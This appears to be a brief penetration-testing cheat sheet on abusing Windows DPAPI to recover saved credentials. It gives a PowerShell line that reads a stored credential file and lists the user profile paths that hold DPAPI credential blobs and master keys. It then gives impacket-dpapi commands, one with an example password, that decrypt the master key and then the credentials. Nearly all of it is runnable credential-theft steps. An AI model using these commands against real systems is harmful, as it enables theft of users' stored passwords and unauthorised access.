dpapi-creds

Decrypting powershell credentials in the context of user or can abuse DPAPI

$credential = Import-Clixml -Path 'C:\scripts\pass.xml'

$credential.GetNetworkCredential().username

Abuse dpai

Check the locations

Credentials:

cmd /c c:\users\%USERNAME%\appdata\local\microsoft\credentials\

cmd /c c:\users\%username%\appdata\roaming\microsoft\credentials\

Master-key:

cmd /c c:\users\%username%\appdata\roaming\microsoft\protect\<user sid>

c:\users\%username%\appdata\local\microsoft\protect\<user sid>

Obtain the key from master key

impacket-dpapi masterkey -file <master key> -sid <user_sid> #-password Zer0The0ne

Decrypt the key and obtain the password

impacket-dpapi credential -file <cred file> -key <obtained key>